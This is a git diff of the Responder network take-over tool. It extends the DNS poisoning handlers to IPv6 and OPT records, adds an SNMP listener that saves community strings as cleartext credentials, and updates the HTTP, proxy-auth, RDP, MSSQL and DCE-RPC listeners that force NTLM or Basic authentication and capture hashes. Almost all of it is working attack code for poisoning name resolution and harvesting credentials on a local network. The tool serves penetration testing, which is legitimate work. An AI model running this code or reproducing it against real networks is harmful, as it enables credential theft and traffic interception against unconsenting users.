ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
|
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||||
|
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
@@ -70,14 +97,35 @@ class DNSTCP(BaseRequestHandler):
|
|||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||||
|
|
||||||
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
|
||||||
|
buff = DNS_AnsOPT()
|
||||||
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
|
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||||
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
|
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||||
|
|
||||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
||||||
buff = DNS_SRV_Ans()
|
buff = DNS_SRV_Ans()
|
||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||||
|
|
||||||
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
|
||||||
|
buff = DNS6_Ans()
|
||||||
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
|
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||||
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
|
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||||
|
|
||||||
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
|
||||||
|
buff = DNS6_AnsOPT()
|
||||||
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
|
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||||
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
|
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
|||||||
3
servers/FTP.py
Normal file → Executable file
3
servers/FTP.py
Normal file → Executable file
@@ -37,10 +37,8 @@ class FTP(BaseRequestHandler):
|
|||||||
|
|
||||||
if data[0:4] == b'PASS':
|
if data[0:4] == b'PASS':
|
||||||
Pass = data[5:].strip().decode("latin-1")
|
Pass = data[5:].strip().decode("latin-1")
|
||||||
|
|
||||||
Packet = FTPPacket(Code="530",Message="User not logged in.")
|
Packet = FTPPacket(Code="530",Message="User not logged in.")
|
||||||
self.request.send(NetworkSendBufferPython2or3(Packet))
|
self.request.send(NetworkSendBufferPython2or3(Packet))
|
||||||
data = self.request.recv(1024)
|
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'FTP',
|
'module': 'FTP',
|
||||||
@@ -57,4 +55,5 @@ class FTP(BaseRequestHandler):
|
|||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
|
raise
|
||||||
pass
|
pass
|
||||||
|
|||||||
27
servers/HTTP.py
Normal file → Executable file
27
servers/HTTP.py
Normal file → Executable file
@@ -86,16 +86,6 @@ def GrabCookie(data, host):
|
|||||||
return Cookie
|
return Cookie
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def GrabHost(data, host):
|
|
||||||
Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
|
|
||||||
|
|
||||||
if Host:
|
|
||||||
Host = Host.group(0).replace('Host: ', '')
|
|
||||||
if settings.Config.Verbose:
|
|
||||||
print(text("[HTTP] Host : %s " % color(Host, 3)))
|
|
||||||
return Host
|
|
||||||
return False
|
|
||||||
|
|
||||||
def GrabReferer(data, host):
|
def GrabReferer(data, host):
|
||||||
Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
|
Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
|
||||||
|
|
||||||
@@ -196,8 +186,7 @@ def PacketSequence(data, client, Challenge):
|
|||||||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||||
if Packet_NTLM == b'\x01':
|
if Packet_NTLM == b'\x01':
|
||||||
GrabURL(data, client)
|
GrabURL(data, client)
|
||||||
GrabReferer(data, client)
|
#GrabReferer(data, client)
|
||||||
GrabHost(data, client)
|
|
||||||
GrabCookie(data, client)
|
GrabCookie(data, client)
|
||||||
|
|
||||||
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||||
@@ -216,7 +205,7 @@ def PacketSequence(data, client, Challenge):
|
|||||||
ParseHTTPHash(NTLM_Auth, Challenge, client, module)
|
ParseHTTPHash(NTLM_Auth, Challenge, client, module)
|
||||||
|
|
||||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||||
print(text("[HTTP] WPAD (auth) file sent to %s" % client))
|
print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:","")))
|
||||||
|
|
||||||
return WPAD_Custom
|
return WPAD_Custom
|
||||||
else:
|
else:
|
||||||
@@ -228,8 +217,7 @@ def PacketSequence(data, client, Challenge):
|
|||||||
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
||||||
|
|
||||||
GrabURL(data, client)
|
GrabURL(data, client)
|
||||||
GrabReferer(data, client)
|
#GrabReferer(data, client)
|
||||||
GrabHost(data, client)
|
|
||||||
GrabCookie(data, client)
|
GrabCookie(data, client)
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
@@ -242,7 +230,7 @@ def PacketSequence(data, client, Challenge):
|
|||||||
|
|
||||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print(text("[HTTP] WPAD (auth) file sent to %s" % client))
|
print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:","")))
|
||||||
|
|
||||||
return WPAD_Custom
|
return WPAD_Custom
|
||||||
else:
|
else:
|
||||||
@@ -253,12 +241,12 @@ def PacketSequence(data, client, Challenge):
|
|||||||
if settings.Config.Basic:
|
if settings.Config.Basic:
|
||||||
Response = IIS_Basic_401_Ans()
|
Response = IIS_Basic_401_Ans()
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print(text("[HTTP] Sending BASIC authentication request to %s" % client))
|
print(text("[HTTP] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Response = IIS_Auth_401_Ans()
|
Response = IIS_Auth_401_Ans()
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print(text("[HTTP] Sending NTLM authentication request to %s" % client))
|
print(text("[HTTP] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
|
||||||
|
|
||||||
return Response
|
return Response
|
||||||
|
|
||||||
@@ -302,7 +290,7 @@ class HTTP(BaseRequestHandler):
|
|||||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
self.request.close()
|
self.request.close()
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]))
|
print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0].replace("::ffff:","")))
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
||||||
@@ -311,3 +299,4 @@ class HTTP(BaseRequestHandler):
|
|||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
13
servers/HTTP_Proxy.py
Normal file → Executable file
13
servers/HTTP_Proxy.py
Normal file → Executable file
@@ -207,9 +207,9 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||||||
rbufsize = 0
|
rbufsize = 0
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
(ip, port) = self.client_address
|
(ip, port) = self.client_address[0], self.client_address[1]
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print(text("[PROXY] Received connection from %s" % self.client_address[0]))
|
print(text("[PROXY] Received connection from %s" % self.client_address[0].replace("::ffff:","")))
|
||||||
self.__base_handle()
|
self.__base_handle()
|
||||||
|
|
||||||
def _connect_to(self, netloc, soc):
|
def _connect_to(self, netloc, soc):
|
||||||
@@ -246,14 +246,15 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
if self._connect_to(self.path, soc):
|
if self._connect_to(self.path, soc):
|
||||||
self.wfile.write(self.protocol_version +" 200 Connection established\r\n")
|
self.wfile.write(NetworkSendBufferPython2or3(self.protocol_version +" 200 Connection established\r\n"))
|
||||||
self.wfile.write("Proxy-agent: %s\r\n" % self.version_string())
|
self.wfile.write(NetworkSendBufferPython2or3("Proxy-agent: %s\r\n"% self.version_string()))
|
||||||
self.wfile.write("\r\n")
|
self.wfile.write(NetworkSendBufferPython2or3("\r\n"))
|
||||||
try:
|
try:
|
||||||
self._read_write(soc, 300)
|
self._read_write(soc, 300)
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
except:
|
except:
|
||||||
|
raise
|
||||||
pass
|
pass
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
@@ -285,7 +286,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||||||
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
|
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
|
||||||
|
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print(text("[PROXY] Client : %s" % color(self.client_address[0], 3)))
|
print(text("[PROXY] Client : %s" % color(self.client_address[0].replace("::ffff:",""), 3)))
|
||||||
print(text("[PROXY] Requested URL : %s" % color(self.path, 3)))
|
print(text("[PROXY] Requested URL : %s" % color(self.path, 3)))
|
||||||
print(text("[PROXY] Cookie : %s" % Cookie))
|
print(text("[PROXY] Cookie : %s" % Cookie))
|
||||||
|
|
||||||
|
|||||||
@@ -173,7 +173,7 @@ def ParseCLDAPPacket(data, client, Challenge):
|
|||||||
|
|
||||||
elif Operation == b'\x63':
|
elif Operation == b'\x63':
|
||||||
Buffer = ParseSearch(data)
|
Buffer = ParseSearch(data)
|
||||||
print(text('[CLDAP] Sent CLDAP pong to %s.'% client))
|
print(text('[CLDAP] Sent CLDAP pong to %s.'% client.replace("::ffff:","")))
|
||||||
return Buffer
|
return Buffer
|
||||||
|
|
||||||
elif settings.Config.Verbose:
|
elif settings.Config.Verbose:
|
||||||
|
|||||||
2
servers/MSSQL.py
Normal file → Executable file
2
servers/MSSQL.py
Normal file → Executable file
@@ -134,7 +134,7 @@ class MSSQL(BaseRequestHandler):
|
|||||||
if not data:
|
if not data:
|
||||||
break
|
break
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print(text("[MSSQL] Received connection from %s" % self.client_address[0]))
|
print(text("[MSSQL] Received connection from %s" % self.client_address[0].replace("::ffff:","")))
|
||||||
if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message
|
if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message
|
||||||
Buffer = str(MSSQLPreLoginAnswer())
|
Buffer = str(MSSQLPreLoginAnswer())
|
||||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
|
|||||||
@@ -57,7 +57,7 @@ def PacketSequence(data, client, Challenge):
|
|||||||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||||
if Packet_NTLM == b'\x01':
|
if Packet_NTLM == b'\x01':
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client))
|
print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
|
||||||
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
Buffer_Ans = WPAD_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
|
Buffer_Ans = WPAD_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
|
||||||
@@ -69,9 +69,10 @@ def PacketSequence(data, client, Challenge):
|
|||||||
GrabUserAgent(data)
|
GrabUserAgent(data)
|
||||||
GrabCookie(data)
|
GrabCookie(data)
|
||||||
GrabHost(data)
|
GrabHost(data)
|
||||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes...
|
#Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes...
|
||||||
Buffer.calculate()
|
#Buffer.calculate()
|
||||||
return Buffer
|
#Return a TCP RST, so the client uses direct connection and avoids disruption.
|
||||||
|
return RST
|
||||||
else:
|
else:
|
||||||
return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB...
|
return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB...
|
||||||
|
|
||||||
@@ -93,7 +94,7 @@ def PacketSequence(data, client, Challenge):
|
|||||||
if settings.Config.Basic:
|
if settings.Config.Basic:
|
||||||
Response = WPAD_Basic_407_Ans()
|
Response = WPAD_Basic_407_Ans()
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client))
|
print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Response = WPAD_Auth_407_Ans()
|
Response = WPAD_Auth_407_Ans()
|
||||||
|
|||||||
10
servers/RDP.py
Normal file → Executable file
10
servers/RDP.py
Normal file → Executable file
@@ -98,6 +98,11 @@ class RDP(BaseRequestHandler):
|
|||||||
self.request.settimeout(30)
|
self.request.settimeout(30)
|
||||||
Challenge = RandomChallenge()
|
Challenge = RandomChallenge()
|
||||||
|
|
||||||
|
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||||
|
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||||
|
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||||
|
context.load_cert_chain(cert, key)
|
||||||
|
|
||||||
if data[11:12] == b'\x01':
|
if data[11:12] == b'\x01':
|
||||||
x = X224(Data=RDPNEGOAnswer())
|
x = X224(Data=RDPNEGOAnswer())
|
||||||
x.calculate()
|
x.calculate()
|
||||||
@@ -105,7 +110,7 @@ class RDP(BaseRequestHandler):
|
|||||||
h.calculate()
|
h.calculate()
|
||||||
buffer1 = str(h)
|
buffer1 = str(h)
|
||||||
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||||
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
|
SSLsock = context.wrap_socket(self.request, server_side=True)
|
||||||
SSLsock.settimeout(30)
|
SSLsock.settimeout(30)
|
||||||
data = SSLsock.read(8092)
|
data = SSLsock.read(8092)
|
||||||
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
|
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
|
||||||
@@ -125,8 +130,7 @@ class RDP(BaseRequestHandler):
|
|||||||
buffer1 = str(h)
|
buffer1 = str(h)
|
||||||
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||||
data = self.request.recv(8092)
|
data = self.request.recv(8092)
|
||||||
|
SSLsock = context.wrap_socket(self.request, server_side=True)
|
||||||
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
|
|
||||||
data = SSLsock.read(8092)
|
data = SSLsock.read(8092)
|
||||||
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
|
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
|
||||||
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||||
|
|||||||
@@ -144,7 +144,7 @@ class RPCMap(BaseRequestHandler):
|
|||||||
RPC.calculate()
|
RPC.calculate()
|
||||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0]), 3, 1))
|
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
||||||
self.request.close()
|
self.request.close()
|
||||||
|
|
||||||
#LSARPC
|
#LSARPC
|
||||||
@@ -155,7 +155,7 @@ class RPCMap(BaseRequestHandler):
|
|||||||
RPC.calculate()
|
RPC.calculate()
|
||||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0]), 3, 1))
|
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
||||||
self.request.close()
|
self.request.close()
|
||||||
|
|
||||||
#WINSPOOL
|
#WINSPOOL
|
||||||
@@ -166,7 +166,7 @@ class RPCMap(BaseRequestHandler):
|
|||||||
RPC.calculate()
|
RPC.calculate()
|
||||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0]), 3, 1))
|
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
||||||
self.request.close()
|
self.request.close()
|
||||||
|
|
||||||
#NetLogon
|
#NetLogon
|
||||||
|
|||||||
@@ -206,7 +206,6 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
except:
|
except:
|
||||||
raise
|
|
||||||
pass
|
pass
|
||||||
|
|
||||||
##Negotiate proto answer SMBv2.
|
##Negotiate proto answer SMBv2.
|
||||||
|
|||||||
50
servers/SNMP.py
Executable file
50
servers/SNMP.py
Executable file
@@ -0,0 +1,50 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# This file is part of Responder, a network take-over set of tools
|
||||||
|
# created and maintained by Laurent Gaffie.
|
||||||
|
# email: laurent.gaffie@gmail.com
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
from utils import *
|
||||||
|
|
||||||
|
if settings.Config.PY2OR3 == "PY3":
|
||||||
|
from socketserver import BaseRequestHandler
|
||||||
|
else:
|
||||||
|
from SocketServer import BaseRequestHandler
|
||||||
|
|
||||||
|
from pyasn1.codec.der.decoder import decode
|
||||||
|
|
||||||
|
|
||||||
|
class SNMP(BaseRequestHandler):
|
||||||
|
def handle(self):
|
||||||
|
data = self.request[0]
|
||||||
|
received_record, rest_of_substrate = decode(data)
|
||||||
|
|
||||||
|
snmp_version = int(received_record['field-0'])
|
||||||
|
|
||||||
|
if snmp_version > 1:
|
||||||
|
# TODO: Add support for SNMPv3 (which will have a field-0 value of 2)
|
||||||
|
print(text("[SNMP] Unsupported SNMPv3 request received from %s" % self.client_address[0].replace("::ffff:","")))
|
||||||
|
return
|
||||||
|
|
||||||
|
community_string = str(received_record['field-1'])
|
||||||
|
|
||||||
|
SaveToDb(
|
||||||
|
{
|
||||||
|
"module": "SNMP",
|
||||||
|
"type": "Cleartext",
|
||||||
|
"client": self.client_address[0],
|
||||||
|
"user": community_string,
|
||||||
|
"cleartext": community_string,
|
||||||
|
"fullhash": community_string,
|
||||||
|
}
|
||||||
|
)
|
||||||
@@ -127,12 +127,12 @@ def PacketSequence(data, client, Challenge):
|
|||||||
if settings.Config.Basic:
|
if settings.Config.Basic:
|
||||||
Response = IIS_Basic_401_Ans()
|
Response = IIS_Basic_401_Ans()
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print(text("[WinRM] Sending BASIC authentication request to %s" % client))
|
print(text("[WinRM] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
|
||||||
|
|
||||||
else:
|
else:
|
||||||
Response = IIS_Auth_401_Ans()
|
Response = IIS_Auth_401_Ans()
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print(text("[WinRM] Sending NTLM authentication request to %s" % client))
|
print(text("[WinRM] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
|
||||||
|
|
||||||
return Response
|
return Response
|
||||||
|
|
||||||
|
|||||||
50
settings.py
50
settings.py
@@ -23,7 +23,7 @@ import subprocess
|
|||||||
|
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
__version__ = 'Responder 3.0.9.0'
|
__version__ = 'Responder 3.1.3.0'
|
||||||
|
|
||||||
class Settings:
|
class Settings:
|
||||||
|
|
||||||
@@ -83,7 +83,7 @@ class Settings:
|
|||||||
# Config parsing
|
# Config parsing
|
||||||
config = ConfigParser.ConfigParser()
|
config = ConfigParser.ConfigParser()
|
||||||
config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
|
config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
|
||||||
|
|
||||||
# Servers
|
# Servers
|
||||||
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
|
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
|
||||||
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
|
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
|
||||||
@@ -96,9 +96,10 @@ class Settings:
|
|||||||
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
|
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
|
||||||
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
|
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
|
||||||
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
|
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
|
||||||
self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
|
self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
|
||||||
self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM'))
|
self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM'))
|
||||||
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
|
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
|
||||||
|
self.SNMP_On_Off = self.toBool(config.get('Responder Core', 'SNMP'))
|
||||||
|
|
||||||
# Db File
|
# Db File
|
||||||
self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database'))
|
self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database'))
|
||||||
@@ -119,10 +120,8 @@ class Settings:
|
|||||||
self.LM_On_Off = options.LM_On_Off
|
self.LM_On_Off = options.LM_On_Off
|
||||||
self.NOESS_On_Off = options.NOESS_On_Off
|
self.NOESS_On_Off = options.NOESS_On_Off
|
||||||
self.WPAD_On_Off = options.WPAD_On_Off
|
self.WPAD_On_Off = options.WPAD_On_Off
|
||||||
self.Wredirect = options.Wredirect
|
|
||||||
self.DHCP_On_Off = options.DHCP_On_Off
|
self.DHCP_On_Off = options.DHCP_On_Off
|
||||||
self.Basic = options.Basic
|
self.Basic = options.Basic
|
||||||
self.Finger_On_Off = options.Finger
|
|
||||||
self.Interface = options.Interface
|
self.Interface = options.Interface
|
||||||
self.OURIP = options.OURIP
|
self.OURIP = options.OURIP
|
||||||
self.Force_WPAD_Auth = options.Force_WPAD_Auth
|
self.Force_WPAD_Auth = options.Force_WPAD_Auth
|
||||||
@@ -132,22 +131,43 @@ class Settings:
|
|||||||
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
|
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
|
||||||
self.CommandLine = str(sys.argv)
|
self.CommandLine = str(sys.argv)
|
||||||
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
|
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
|
||||||
|
self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP)
|
||||||
|
self.DHCP_DNS = options.DHCP_DNS
|
||||||
|
self.ExternalIP6 = options.ExternalIP6
|
||||||
|
self.Quiet_Mode = options.Quiet
|
||||||
|
|
||||||
if self.Interface == "ALL":
|
if self.Interface == "ALL":
|
||||||
self.Bind_To_ALL = True
|
self.Bind_To_ALL = True
|
||||||
else:
|
else:
|
||||||
self.Bind_To_ALL = False
|
self.Bind_To_ALL = False
|
||||||
|
#IPV4
|
||||||
if self.Interface == "ALL":
|
if self.Interface == "ALL":
|
||||||
self.IP_aton = socket.inet_aton(self.OURIP)
|
self.IP_aton = socket.inet_aton(self.OURIP)
|
||||||
else:
|
else:
|
||||||
self.IP_aton = socket.inet_aton(self.Bind_To)
|
self.IP_aton = socket.inet_aton(self.Bind_To)
|
||||||
|
#IPV6
|
||||||
|
if self.Interface == "ALL":
|
||||||
|
if self.OURIP != None and utils.IsIPv6IP(self.OURIP):
|
||||||
|
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.OURIP)
|
||||||
|
else:
|
||||||
|
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.Bind_To6)
|
||||||
|
|
||||||
|
#External IP
|
||||||
if self.ExternalIP:
|
if self.ExternalIP:
|
||||||
|
if utils.IsIPv6IP(self.ExternalIP):
|
||||||
|
